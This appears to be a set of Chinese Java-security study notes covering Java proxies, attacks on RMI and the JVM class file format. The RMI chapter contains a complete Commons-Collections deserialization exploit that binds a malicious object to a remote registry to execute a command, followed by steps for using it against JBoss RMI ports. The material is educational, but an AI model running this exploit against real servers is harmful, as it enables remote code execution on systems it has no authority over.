这种代理需要代理类和目标类实现同一接口,让我们一起来写一个demo吧 14 | 15 | 先创建一个接口IUser: 16 | 17 | ```java 18 | public interface IUser { 19 | public void sayName(); 20 | } 21 | ``` 22 | 23 | 实现类User: 24 | 25 | ```java 26 | public class User implements IUser{ 27 | 28 | @Override 29 | public void sayName() { 30 | System.out.println("tntaxin"); 31 | } 32 | } 33 | ``` 34 | 35 | 创建代理类,同样实现IUser接口,我们扩展下sayName()方法 36 | 37 | ```java 38 | public class UserProxy implements IUser { 39 | private IUser target; 40 | public UserProxy(IUser obj){ 41 | this.target = obj; 42 | } 43 | 44 | @Override 45 | public void sayName() { 46 | System.out.println("我是他的代理"); 47 | this.target.sayName(); 48 | } 49 | } 50 | 51 | ``` 52 | 53 | 最后创建一个测试代理效果的类: 54 | 55 | ```java 56 | public class App 57 | { 58 | public static void main( String[] args ) 59 | { 60 | IUser user = new User(); 61 | // 创建静态代理 62 | IUser userProxy = new UserProxy(user); 63 | userProxy.sayName(); 64 | } 65 | } 66 | ``` 67 | 68 | 运行效果如下: 69 | 70 | ![](/Users/momo/javasec/dynamic_proxy/Pasted image 20211231165426.png) 71 | 72 | 73 | 74 | ### 动态代理 75 | 76 | 上面提到的静态代理很好理解,就是在目标对象外又包装了一层,那什么又是动态代理呢?它俩的区别如下: 77 | 78 | - 静态代理在编译时就已经实现,编译完成后代理类是一个实际的class文件 79 | - 动态代理是在运行时动态生成的,即编译完成后没有实际的class文件,而是在运行时动态生成类字节码,并加载到JVM中 80 | 81 | 82 | 动态代理不需要事先目标对象的接口,但是要求目标对象必须是要事先接口的,没有接口的对象是不能使用动态代理的 83 | 84 | 85 | 86 | 接下来我们还是通过编写demo的方式来学习吧 87 | 88 | 89 | 接口以及实现类还是上面用到的`IUser`以及`User` 90 | 91 | 除了上面两个类之外,我们再创建一个动态代理类: 92 | 93 | 94 | ```java 95 | public class ProxyFactory { 96 | private Object target; 97 | public ProxyFactory(Object target){ 98 | this.target = target; 99 | } 100 | 101 | public Object getProxyInstance(){ 102 | return Proxy.newProxyInstance(this.target.getClass().getClassLoader(), this.target.getClass().getInterfaces(), 103 | new InvocationHandler() { 104 | @Override 105 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { 106 | System.out.println("我是他的代理"); 107 | method.invoke(target, args); 108 | return null; } 109 | }); 110 | } 111 | } 112 | ``` 113 | 114 | 可以看到,这个类实际上是一个工厂类,用于生产代理对象的 115 | 116 | 117 | 让我们把目光聚集到getProxyInstance方法,它使用到了`Proxy.newProxyInstance`方法: 118 | 119 | ```java 120 | static Object newProxyInstance(ClassLoader loader, //指定当前目标对象使用类加载器 121 | Class[] interfaces, //目标对象实现的接口的类型 122 | InvocationHandler h //事件处理器 123 | ) 124 | //返回一个指定接口的代理类实例,该接口可以将方法调用指派到指定的调用处理程序。 125 | ``` 126 | 127 | > 现在知道为啥使用动态代理的类必须实现接口了吧,因为这个方法中的第二个参数需要 128 | 129 | 从名字可以看出来,这个方法才是真正生成代理的方法,其中第三个参数是事件处理器`InvocationHandler`,实现该类必须要实现`invoke`方法 130 | 131 | ```java 132 | Object invoke(Object proxy, Method method, Object[] args) 133 | // 在代理实例上处理方法调用并返回结果。 134 | ``` 135 | 136 | 137 | 在这个方法中我们一般会通过反射的方式调用目标对象的对应方法,我想,大家也能够从这个方法的参数中看出一点端倪 138 | 139 | > [java反射机制](https://github.com/Maskhe/javasec/blob/master/1.java%E5%8F%8D%E5%B0%84%E6%9C%BA%E5%88%B6.md) 140 | 141 | 同样的,我们最后创建一个测试程序来测试下动态代理的效果: 142 | 143 | ```java 144 | public class App 145 | { 146 | public static void main( String[] args ) 147 | { 148 | IUser user = new User(); 149 | 150 | // 创建动态代理 151 | ProxyFactory proxyFactory = new ProxyFactory(user); 152 | IUser userProxy2 = (IUser)proxyFactory.getProxyInstance(); 153 | // 打印生成的代理对象的类名 154 | System.out.println(userProxy2.getClass()); 155 | userProxy2.sayName(); 156 | } 157 | } 158 | ``` 159 | 160 | 运行上面的类后,会得到如下输出: 161 | 162 | ```sh 163 | class com.sun.proxy.$Proxy0 164 | 我是他的代理 165 | tntaxin 166 | ``` 167 | 168 | 这里,我们只是打印了一下动态生成的代理类的类名,其实我们还可以进一步用一些字节码操作工具把这个代理类的源码给输出到文件中,当然我刚刚还搜到更方便的一种方法,在代码中将`sun.misc.ProxyGenerator.saveGeneratedFiles`属性值设为true,就会在项目根目录下生成代理类的文件,改动后的代码如下: 169 | 170 | 171 | ```java 172 | public class App 173 | { 174 | public static void main( String[] args ) 175 | { 176 | IUser user = new User(); 177 | 178 | //生成$Proxy0的class文件 179 | System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true"); 180 | // 创建动态代理 181 | ProxyFactory proxyFactory = new ProxyFactory(user); 182 | IUser userProxy2 = (IUser)proxyFactory.getProxyInstance(); 183 | // 打印生成的代理对象的类名 184 | System.out.println(userProxy2.getClass()); 185 | userProxy2.sayName(); 186 | } 187 | } 188 | ``` 189 | 190 | 运行上述代码,生成的`$Proxy0.class`文件内容如下: 191 | 192 | ![](/Users/momo/javasec/dynamic_proxy/proxy.jpeg) 193 | 194 | 其中super.h其实就是我们在newProxyInstance方法中传入的invocationhandler了,看了这个代码,是不是把动态代理掌握的透透儿的了? 195 | 196 | 197 | ### cglib代理 198 | 199 | 200 | cglib (Code Generation Library )是一个第三方代码生成类库,运行时在内存中动态生成一个子类对象从而实现对目标对象功能的扩展。 201 | 202 | cglib与动态代理最大的**区别**就是 203 | 204 | - 使用动态代理的对象必须实现一个或多个接口 205 | - 使用cglib代理的对象则无需实现接口,达到代理类无侵入。 206 | 207 | 同样的,我们来创建demo,先引入cglib包 208 | 209 | ```xml 210 | 211 | cglib 212 | cglib 213 | 3.2.5 214 | 215 | ``` 216 | 217 | 然后我们使用cglib来创建一个代理工厂类: 218 | 219 | ```java 220 | 221 | public class ProxyFactory implements MethodInterceptor { 222 | 223 | private Object target; 224 | 225 | public ProxyFactory(Object target){ 226 | this.target = target; 227 | } 228 | 229 | //为目标对象生成代理对象 230 | public Object getProxyInstance() { 231 | //工具类 232 | Enhancer en = new Enhancer(); 233 | //设置父类 234 | en.setSuperclass(target.getClass()); 235 | //设置回调函数 236 | en.setCallback(this); 237 | //创建子类对象代理 238 | return en.create(); 239 | } 240 | 241 | 242 | @Override 243 | public Object intercept(Object o, Method method, Object[] objects, MethodProxy methodProxy) throws Throwable { 244 | System.out.println("我是cglib生成的代理"); 245 | method.invoke(target, objects); 246 | return null; } 247 | } 248 | 249 | ``` 250 | 251 | 252 | 还是很简单的吧 253 | 254 | 然后创建一个测试类: 255 | 256 | ```java 257 | public class App 258 | { 259 | public static void main( String[] args ) 260 | { 261 | IUser user = new User(); 262 | // cglib创建代理类 263 | IUser userProxy3 = (IUser)new ProxyFactory2(user).getProxyInstance(); 264 | System.out.println(userProxy3.getClass()); 265 | userProxy3.sayName(); 266 | 267 | } 268 | } 269 | ``` 270 | 271 | 运行后会得到如下输出: 272 | 273 | ```sh 274 | class org.example.User$$EnhancerByCGLIB$$8458a7f7 275 | 我是cglib生成的代理 276 | tntaxin 277 | ``` 278 | 279 | ### 总结 280 | 281 | 1. 静态代理实现较简单,只要代理对象对目标对象进行包装,即可实现增强功能,但静态代理只能为一个目标对象服务,如果目标对象过多,则会产生很多代理类。 282 | 2. JDK动态代理需要目标对象实现业务接口,代理类只需实现InvocationHandler接口。 283 | 3. 动态代理生成的类为 lass com.sun.proxy.\$Proxy4,cglib代理生成的类为class com.cglib.UserDao\$\$EnhancerByCGLIB\$\$552188b6。 284 | 4. 静态代理在编译时产生class字节码文件,可以直接使用,效率高。 285 | 5. 动态代理必须实现InvocationHandler接口,通过反射代理方法,比较消耗系统性能,但可以减少代理类的数量,使用更灵活。 286 | 6. cglib代理无需实现接口,通过生成类字节码实现代理,比反射稍快,不存在性能问题,但cglib会继承目标对象,需要重写方法,所以目标对象不能为final类。 287 | 288 | 289 | ref: https://segmentfault.com/a/1190000011291179 -------------------------------------------------------------------------------- /7.攻击rmi的方式.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 上一章介绍了rmi的基本概念,以及浅显的提了一下rmi的利用点。这一章将结合具体的代码与实践来讲解攻击rmi的方式。 4 | 5 | ### 0x02 利用反序列化攻击RMI 6 | 7 | 这也是我们在上文中提到的攻击方式,这个攻击有两个前提: 8 | 9 | 1. rmi服务端提供了接收Object类型参数的远程方法 10 | 2. rmi服务器的lib或着说classpath中有存在pop利用链的jar包,例如3.1版本的commons-collections.jar 11 | 12 | 我们直接来看一个案例(RMI server还是用的上一章的那个demo): 13 | 14 | Server端: 15 | 16 | ```java 17 | package server; 18 | 19 | import model.Hello; 20 | import model.impl.Helloimpl; 21 | import java.rmi.RemoteException; 22 | import java.rmi.registry.LocateRegistry; 23 | import java.rmi.registry.Registry; 24 | 25 | public class Server { 26 | public static void main(String[] args) throws RemoteException{ 27 | // 创建对象 28 | Hello hello = new Helloimpl(); 29 | // 创建注册表 30 | Registry registry = LocateRegistry.createRegistry(1099); 31 | // 绑定对象到注册表,并给他取名为hello 32 | registry.rebind("hello", hello); 33 | } 34 | } 35 | ``` 36 | 37 | 现在,我们需要构造一个恶意的客户端,向服务端发送一个恶意的序列化对象,如下: 38 | 39 | ```java 40 | import org.apache.commons.collections.Transformer; 41 | import org.apache.commons.collections.functors.ChainedTransformer; 42 | import org.apache.commons.collections.functors.ConstantTransformer; 43 | import org.apache.commons.collections.functors.InvokerTransformer; 44 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 45 | import org.apache.commons.collections.map.LazyMap; 46 | 47 | import javax.management.BadAttributeValueExpException; 48 | import java.lang.reflect.Constructor; 49 | import java.lang.reflect.Field; 50 | import java.lang.reflect.InvocationHandler; 51 | import java.lang.reflect.Proxy; 52 | import java.rmi.Remote; 53 | import java.rmi.registry.LocateRegistry; 54 | import java.rmi.registry.Registry; 55 | import java.util.HashMap; 56 | import java.util.Map; 57 | 58 | public class RMIExploit { 59 | 60 | public static void main(String[] args) throws Exception { 61 | 62 | // 远程RMI Server的地址 63 | String ip = "192.168.201.24"; 64 | int port = 1099; 65 | // 要执行的命令 66 | String command = "gnome-calculator"; 67 | 68 | final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 69 | 70 | // real chain for after setup 71 | final Transformer[] transformers = new Transformer[] { 72 | new ConstantTransformer(Runtime.class), 73 | new InvokerTransformer("getMethod", 74 | new Class[] {String.class, Class[].class }, 75 | new Object[] {"getRuntime", new Class[0] }), 76 | new InvokerTransformer("invoke", 77 | new Class[] {Object.class, Object[].class }, 78 | new Object[] {null, new Object[0] }), 79 | new InvokerTransformer("exec", 80 | new Class[] { String.class }, 81 | new Object[] { command }), 82 | new ConstantTransformer(1) }; 83 | 84 | Transformer transformerChain = new ChainedTransformer(transformers); 85 | Map innerMap = new HashMap(); 86 | Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 87 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 88 | 89 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 90 | Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val"); 91 | valfield.setAccessible(true); 92 | valfield.set(badAttributeValueExpException, entry); 93 | // 上面都是我们接触过得代码,正常的payload生成,下面的就是把它包装一下,让它可以在rmi中使用 94 | 95 | // 为了能够封装到AnnotationInvocationHandler中,需要把badAttributeValueExpException先放到一个map结构中 96 | String name = "axin"; 97 | Map map = new HashMap(); 98 | map.put(name, badAttributeValueExpException); 99 | // 获得AnnotationInvocationHandler的构造函数 100 | Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0]; 101 | cl.setAccessible(true); 102 | // 实例化一个Remote.class的代理 103 | InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map); 104 | Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl); 105 | Remote remote = Remote.class.cast(object); 106 | Registry registry=LocateRegistry.getRegistry(ip,port); 107 | registry.bind(name, remote); 108 | } 109 | } 110 | ``` 111 | 112 | 注释中已经解释了代码的用途,但是最后一点代码还是要着重说一下,因为bind(name,remote)中的remote对象必须要实现Remote接口,但是我们的badAttributeValueExpException是没有实现这个接口的,所以,这里利用了很巧妙的一个技巧,那就是利用动态代理,代理了Remote.class,且把这个类的handler设置为封装了我们的badAttributeValueExpException对象的AnnotationInvocationHandler,这里不一定是用AnnotationInvocationHandler封装,换成其他的handler也是可以的,这样就可以把我们的恶意序列化对象发到服务端了。 113 | 114 | ps: 虽然我们的对象被封装到了handler中,但是java在反序列化时是会层层进行的,所以,不用担心我们的对象不被反序列化。 115 | 116 | 有些文章提到不能直接bind恶意对象到registry,只能本地进行bind、rebind、unbind等方法,但是经过我的测试,是可以的。实验结果如下: 117 | 118 | 服务端(我的物理机): 119 | 120 | ![](attack_rmi/server.png) 121 | 122 | 攻击者(我的虚拟机): 123 | 124 | ![](attack_rmi/client.png) 125 | 126 | 127 | 其实这种攻击方式还是攻击的registry(应该是吧),如果registry与远程对象提供服务器不在同一主机上,那么就要注意我们攻击的是registry而不是远程对象提供服务器,但是一般Registry与远程对象提供服务器都是同一主机。 128 | 129 | 如果是不在同一主机,又想攻击远程对象提供服务器,那么就不能用上述调用bind方法的方式,而是需要满足一开始提到的那两个条件,并根据真实情况另外编写exp。 130 | 131 | 132 | ### 0x03 直接调用危险的远程方法 133 | 134 | 如同标题说的那样,如果Server端注册了一个对象到Registry,且这个对象中有某个方法可以进行某些危险操作,例如:写文件,执行命令等,那么我们就可以直接写一个Client端,然后调用这个危险的方法就可以完成攻击了。对于这个攻击方式,有一个挺好的工具:https://github.com/NickstaDB/BaRMIe 135 | 136 | 这个工具的原理应该就是利用list()方法或者暴力破解的方式,列出远程所有注册的远程对象,从而探测危险的对象~(猜的^^) 137 | 138 | ### 0x04 rmi动态类加载 139 | 140 | RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。 141 | 142 | 143 | 所以,如果我们可以控制客户端从哪里加载类,那么就能够让客户端加载恶意类,完成攻击的目的。 144 | 145 | 关于rmi的动态类加载,又分为两种比较典型的攻击方式,一种是大名鼎鼎的JNDI注入,还有一种就是codebase的安全问题。关于JNDI注入我们后面单独开一章谈,这里只是说说codebase的安全问题,利用代码参考:https://paper.seebug.org/1091/#java-rmi_3 我这里就简单阐述一下。 146 | 147 | 前面大概提到了动态类加载可以从一个URL中加载本地不存在的类文件,那么这个URL在哪里指定呢?其实就是通过java.rmi.server.codebase这个属性指定,属性具体在代码中怎么设置呢? 148 | 149 | ```java 150 | System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); 151 | ``` 152 | 按照上面这么设置过后,当本地找不到com.axin.hello这个类时就会到地址:`http://127.0.0.1:8000/com/axin/hello.class`下载类文件到本地,从而保证能够正确调用 153 | 154 | codebase参考:https://blog.csdn.net/bigtree_3721/article/details/50614289 155 | 156 | 说了这么久,还是没有提到怎么攻击呀?前面说道如果能够控制客户端从哪里加载类,就可以完成攻击对吧,那怎么控制呢?其实codebase的值是相互指定的,也就是客户端告诉服务端去哪里加载类,服务端告诉客户端去哪里加载类,这才是codebase的正确用法,也就是说codebase的值是对方可控的,而不是采用本地指定的这个codebase,当服务端利用上面的代码设置了codebase过后,在发送对象到客户端的时候会带上服务端设置的codebase的值,客户端收到服务端返回的对象后发现本地没有找到类文件,会去检查服务端传过来的codebase属性,然后去对象地址加载类文件,如果对方没有提供codebase,才会错误的使用自己本地设置的codebase去加载类。 157 | 158 | 看似这个利用很简单,而且听起来很普遍的样子,其实这个利用是有前提条件的(以下内容引用自https://paper.seebug.org/1091/#java-rmi_3) : 159 | 1. 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy。 160 | 2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。 161 | 162 | 值得一提的是,由于codebase的指定是相互的,所以,只要满足条件客户端与服务端是可以相互攻击的~ 163 | 164 | ### 0x05 案例1 攻击jboss的rmi registry 165 | 166 | jboss如果对外开放了rmi端口的话,我们可以很轻松的实现RCE,其实也是利用反序列化攻击,和我们的第一个demo一样。 167 | 168 | 1. 扫端口 169 | 170 | ![](attack_rmi/port.png) 171 | 172 | 2. exp开打 173 | 174 | exp直接用上面那个poc改改就行,改下ip端口啥的 175 | 176 | ![](attack_rmi/exp.png) 177 | 178 | 值得一提的是jboss的rmi registry是运行在1090\1091\1098这几个端口上的,1099不是rmi registry,而且我们要攻击1090端口才能成功,因为1090端口的这个registry才注册着我们想要的对象?攻击1091与1098都会爆下面这个错误 179 | 180 | ![](attack_rmi/1091.png) 181 | 182 | 183 | 184 | 185 | -------------------------------------------------------------------------------- /jvm-Class文件的结构.md: -------------------------------------------------------------------------------- 1 | 最近在学习java字节码增强相关的技术,接触到了javaassist、asm等重写字节码的工具,在使用javaassist的过程中感觉一切都很顺利,因为javaassist对字节码的所有操作都进行了高度的封装,用户使用起来相对来说比较简单,但是asm就不太一样了,它提供的api更接近java虚拟机的字节码指令,如果之前从没有接触过字节码指令,使用起来就很难受,而我就是那个之前从来没有接触过java字节码指令的人,在写asm的demo的时候我就感觉自己总是云里雾里的,为了解决这个问题,我干脆先补一补java字节码相关的知识。 2 | 3 | 前面提到了java字节码增强技术,而这种技术之所以能够流行起来还得归功于class文件那稳定的文件结构,所以首先让我们一起来看看class文件的结构吧: 4 | 5 | ![](class_structure/20210927181830.png) 6 | 7 | 无论一个类之前是什么模样,它在被编译成class文件过后,都会严格按照上面的格式**顺序存储** 8 | 9 | 为了让大家更直观的认识class文件的格式,我们可以自己编译一个class文件,并按照上述表格一点点拆分出这个class文件的所有部分 10 | 11 | 我所使用的类: 12 | ```java 13 | package org.example; 14 | 15 | public class Axin { 16 | private int age; 17 | 18 | public Axin() { 19 | } 20 | 21 | public void sayHello() { 22 | System.out.println("hello"); 23 | } 24 | } 25 | ``` 26 | 27 | 将它编译成class文件后,然后随便用一个16进制编辑器打开(我这里直接用了一个IDEA里的插件`BinEd`),可以看到下面这样的内容: 28 | 29 | ![](class_structure/20210928141617.png) 30 | 31 | 32 | 接下来,让我们一起根据上面的表格来拆分这个class文件吧 33 | 34 | 35 | ### 魔数 36 | 37 | 每个class文件的开头都会有一个魔数,这个魔数是用来标识这个文件是一个class文件的,很多图片前几个字节也会有这样的魔数,比如png图片的魔数为`89504E47`,GIF图片的魔数为`47494638` 38 | 39 | 从上面的表格中我们还可以看到这个魔数的类型为u4 40 | 41 | 这是什么意思呢?其实u4是表示这个魔数在class文件中会占用4个字节 42 | 43 | 除此之外,表格中还有一个字段是「数量」,它表示当前变量在一个class文件中有几个,比如魔数这个变量在每个class文件中就只有一个,又因为它的类型是u4,也就是说魔数在class文件中占用四个字节 44 | 45 | 并且,我们之前说过,class文件是严格按照上表的顺序组织数据的,所以,魔数就是class文件的前四个字节,也就是下面这几个字符: 46 | 47 | ![](class_structure/20210928143118.png) 48 | 49 | 可以看到class文件的魔数还是很浪漫的对吧——Cafe BaBe? 50 | 51 | 工作累了?来杯咖啡吧宝贝儿 52 | 53 | 54 | ### 版本号 55 | 56 | 我们继续来读表奥: 57 | 58 | ![](class_structure/20210928143416.png) 59 | 60 | 紧跟着魔数的2个字节是class文件的次版本号,再后面的两个字节是主版本号,而我们前面用到的那个class文件是使用java1.8编译的,从文件的16进制可以看到,它的次版本号是0,主版本号转换为十进制后就是`51` 61 | 62 | > Java的版本号是从 45 开始的,JDK1.1 之后的每个 JDK 大版本发布主版本号向上加1(JDK1.0~JDK1.1使用了45.0~45.3的版本号),高版本的 JDK 能向下兼容以前版本的 Class 文件,但不能运行以后版本的 Class 文件,即使文件格式未发生变化。 63 | 64 | 按理说jdk1.8编译的class文件主版本号应该是`52`,可是我却得到了`51`,但是没关系,因为前面提到,高版本的jdk是可以向下兼容以前的版本的,所以jdk1.8也可以运行51版本的class文件 65 | 66 | 67 | ### 常量区 68 | 69 | 主版本号过后,就来到了我们的常量相关的区域 70 | 71 | > 注意: 此处提到的常量和编程语言里面的常量不是一个概念 72 | 73 | 我们稍微用脑袋想想就知道不同的class文件肯定是拥有不同数量的常量的,也就是说常量在class文件中占用的空间不是固定的 74 | 75 | 如果你是class文件格式的设计者,你会采用什么办法告诉 JVM 常量区域的起始点呢? 76 | 77 | 比较容易想到的有两种方案: 78 | 79 | - 设置分割符,用分隔符隔离开每个区域 80 | - 设置一个标识位,在每个区域开始前标明这个区域会占用多少空间 81 | 82 | 如果采用分割符的话就会引入不必要的数据,class文件的设计者摒弃了这种方案,采用了后者 83 | 84 | 为了标记一个class文件中有多少常量,设计者引入了常量数这一变量(或者说标记) 85 | 86 | 让我们再瞄一眼之前提到的表格: 87 | 88 | ![](class_structure/20210928150326.png) 89 | 90 | 这个标记占两个字节 91 | 92 | ![](class_structure/20210928151257.png) 93 | 94 | 我们之前用到的class文件的常量数转换为十进制后就是`33`,也就是说常量池中存储了32个常量(常量池存储从1开始计数,0号位预留了) 95 | 96 | 在这个标记后紧跟着就是我们的常量池了,从这个名字就可以听出来,常量池中应该可以存储很多常量,这又和我们之前所接触到魔数、主版本号等不一样了,之前都是一个变量就存一个值,现在这个【常量池】变量中存了很多值。 97 | 98 | 所以,你可以简单的把之前提到的魔数、主版本号理解为编程语言中的字符串类型,把常量池理解为编程语言中的数组或者对象类型 99 | 100 | 这个常量池中存储的常量又分很多不同的类型,这些不同的类型都有一个唯一的tag值,见下表: 101 | 102 | ![](class_structure/20210927184848.png) 103 | 104 | 不同类型的常量,在class文件中的结构是不一样的,下表展示了每种常量在class文件中的存储结构: 105 | 106 | ![](class_structure/20210927185118.png) 107 | 108 | ![](class_structure/20210927185136.png) 109 | 110 | ![](class_structure/20210927185149.png) 111 | 112 | 可以看到无论是哪种常量,他们都是以自己的tag值为开始,而tag值都是u1类型,也就是占一个字节。JVM只要识别出了这个tag值,就可以根据约定好的格式去读取这个常量剩下的部分 113 | 114 | 可能看到这里,大家就觉得有点复杂了,没关系,我们还是用之前的class文件来讲解 115 | 116 | 继常量数之后,就来到了常量池区域,常量池的第一个字节是`0A`,常量池的第一个字节也是第一个常量的tag,`0A`转换为十进制过后就是`10`,也就是说常量池中的第一个常量是`CONSTANT_Methodref_info`,我们去看一下`CONSTANT_Methodref_info`常量的结构: 117 | 118 | ![](class_structure/20210928152229.png) 119 | 120 | 从上表可知,除了之前的tag外,后面还有四个字节是属于它的,这四个字节又分成两部分,两个字节为一对,他们都是index(索引),前一个index指向声明该方法的类描述符(该方法属于哪个类),后一个index指向该方法的名称及类型描述符(名称及返回值等等) 121 | 122 | ![](class_structure/20210928152552.png) 123 | 124 | 拆分出第一个常量过后,我们接着往下看,下一个字节的值是`09`,通过查表可知,它是`CONSTANT_Fieldref_info`标志,也就是说常量池中存储的第二个常量就是`CONSTANT_Fieldref_info`,我们查一下这个常量的结构: 125 | 126 | ![](class_structure/20210928153453.png) 127 | 128 | 然后又可以很轻松的从class文件中拆分出第二个常量🌶: 129 | 130 | ![](class_structure/20210928153829.png) 131 | 132 | 通过这种方式我们可以拆分出常量池中的所有常量,但是,可能我也会累死~ 133 | 134 | 我们不妨借助点外力,使用命令`javap -verbose 类名`可以反编译类文件,通过反编译`Axin.class`文件,我们得到了下面这样的内容: 135 | 136 | ![](class_structure/20210928154322.png) 137 | 138 | ![](class_structure/20210928155930.png) 139 | 140 | 我们把注意力放在Constant Pool区域,可以看到通过javap反编译出来的文件,常量池的前两个常量就是我们之前说的Methodref和Fieldref 141 | 142 | 并且Methodref的两个index分别为6和19也完全没有问题,那么这两个数字代表啥呢? 143 | 144 | 其实它们代表着索引常量池中的哪一个位置的常量,比如index=6就表示索引常量池中的第六个常量,从上图我们也可以看到常量池中的第六个常量是Class,而这个Class又指向了常量池中的第26个常量,也就是`java/lang/Object`字符串,而index=19最终索引下来,指向了`"":()V`字符串,所以我们常量池中的第一个常量其实可以理解为Axin类默认的构造函数 145 | 146 | 从上面的图片我们也大概可以看到常量池中存储的常量和我们编程语言中的常量还是有点区别的,class文件中的常量有两大类: 147 | 148 | 1、字面量(Literal):字面量比较接近于 Java 语言层面的常量概念,比如 文本字符串、被声明为 final 的常量值等。 149 | 150 | 2、符号引用(Symbolic References):符号引用属于编译原理方面的概念,包括下面三类常量: 151 | 152 |  - 类和接口的权限定名(Fully Qualified Name) 153 |  - 字段的名称和描述符(Descriptor) 154 |  - 方法的名称和描述符。 155 | 156 | 157 | ### 访问标志 158 | 159 | 常量池过后就来到了我们的访问标志,它占两个字节,这个标志用于识别一些类或 者接口层次的访问信息,包括:这个Class是类还是接口;是否定义为public类型;是否定义为abstract 类型;如果是类的话,是否被声明为final等等 160 | 161 | 下表是不同访问标志对应的标志值: 162 | 163 | ![](class_structure/20210928161817.png) 164 | 165 | 因为我们之前使用的`Axin.class`不是接口、枚举、注解或者模 块,被public关键字修饰但没有被声明为final和abstract,并且它使用了JDK 1.2之后的编译器进行编 译,因此它的ACC_PUBLIC、ACC_SUPER标志应当为真,所以它的access_flags值为:`0x0001|0x0020=0x0021`。 166 | 167 | ![](class_structure/20210928162057.png) 168 | 169 | 170 | ### 类索引、父类索引与接口索引集合 171 | 172 | 访问标志过后就来到了确定类继承关系的几个区域,分别是:类索引(this_class)、父类索引(super_class)、接口数量以及接口池 173 | 174 | ![](class_structure/20210928162239.png) 175 | 176 | 从表中可以看到类索引和父类索引都是占两个字节,还有,这些索引都是索引的常量池中的常量,还是以`Axin.class`文件为例 177 | 178 | ![](class_structure/20210928163114.png) 179 | 180 | 可以看到类索引最终索引到了`org/example/Axin`,父类索引最终索引到了`java/lang/Object`,很合理嘛,毕竟在java中,所有类都是Object类的子类。 181 | 182 | 由于在Java中没有多继承,每个类只有一个父类,所以父类索引很容易就确定下来了 183 | 184 | 但是,一个类可以实现多个接口啊,和之前提到的常量一样,一个类文件有多少个接口也是不确定的,所以这里又用到了一个接口池来存储所有的接口 185 | 186 | 同样的,在接口池之前也有一个接口数量标志位,接口数量占两个字节 187 | 188 | 由于`Axin`类没有实现任何接口,所以接口数量为0,那么接口池也就没了(在class文件中不占用任何字节) 189 | 190 | ### 字段表集合 191 | 192 | 现在,我们终于来到了类的字段相关的区域: 193 | 194 | ![](class_structure/20210928164339.png) 195 | 196 | 这里的变量其实就是类或接口中的Field(字段),不包括方法内部声明的局部变量 197 | 198 | 和常量一样,字段的数量也是不定的,所以又采用了"xx池"的设计方式,变量池中的每一个变量都是按照下面这样的结构存储的: 199 | 200 | ![](class_structure/20210928164924.png) 201 | 202 | 它们分别代表着:访问标志、字段名、字段描述、属性数量、属性池 203 | 204 | 访问标志或者说修饰符有:字段的作用域(public、private、protected修饰 符)、是实例变量还是类变量(static修饰符)、可变性(final)、并发可见性(volatile修饰符,是否 强制从主内存读写)、可否被序列化(transient修饰符),这些信息都是布尔值,要么有,要么没有,很容易用标志位来标识 205 | 206 | ![](class_structure/20210928165505.png) 207 | 208 | 而字段名和字段被定义为什么类型都是不定的,只能索引常量池中的常量来描述 209 | 210 | 我们的`Axin.class`文件中正好定义了一个字段,现在,让我们一起从class文件中找出它吧 211 | 212 | ![](class_structure/20210928170036.png) 213 | 214 | 从class文件中,我们可以看到变量数量为1,第一个变量的访问标志为`0002`,对应着`private`,而变量名是`age`,变量类型为`I`,这个`I`表示Integer 215 | 216 | > 基本数据类 型(byte、char、double、float、int、long、short、boolean)以及代表无返回值的void类型都用一个大 写字符来表示,而对象类型则用字符L加对象的全限定名来表示, 217 | > ![](class_structure/20210928171115.png) 218 | 219 | 字段描述后的两个字节是属性数量,由于`Axin.class`文件中的age字段没有额外的信息,所以属性数量为`0000`,如果代码中的是`int age = 18`,属性池里应该就会有一些信息,大家可以自行分析一下 220 | 221 | ### 方法表集合 222 | 223 | 字段表过后就是方法表了 224 | 225 | ![](class_structure/20210928172228.png) 226 | 227 | 方法池中存放的方法结构和字段的结构很相似: 228 | 229 | ![](class_structure/20210928172336.png) 230 | 231 | 也是依次包括:访问标志(access_flags)、名称索引(name_index)、描述符索引(descriptor_index)、属性表集合数量(attributes_count)、属性表集合(attributes) 232 | 233 | 访问标志同样有一张表: 234 | 235 | ![](class_structure/20210929150126.png) 236 | 237 | 然后方法表的名称索引和描述符索引的逻辑和之前字段表一样,我就不再过多解释了 238 | 239 | ![](class_structure/20210929161459.png) 240 | 241 | 现在,通过访问标志、名称索引以及描述符索引我们可以很容易搞清楚一个方法的定义,但是方法里实现的代码逻辑去哪里了? 242 | 243 | 别着急啊,每个方法表中不是还有一个属性表吗,方法的具体代码指令是存放在一个名为Code的属性中的,当然,除了Code属性之外,jvm中还有以下这些属性(表格仅列举一部分),不过本文我们只关注Code属性。 244 | 245 | ![](class_structure/20210929162344.png) 246 | 247 | 属性的通用格式如下: 248 | 249 | ![](class_structure/20210929162858.png) 250 | 251 | 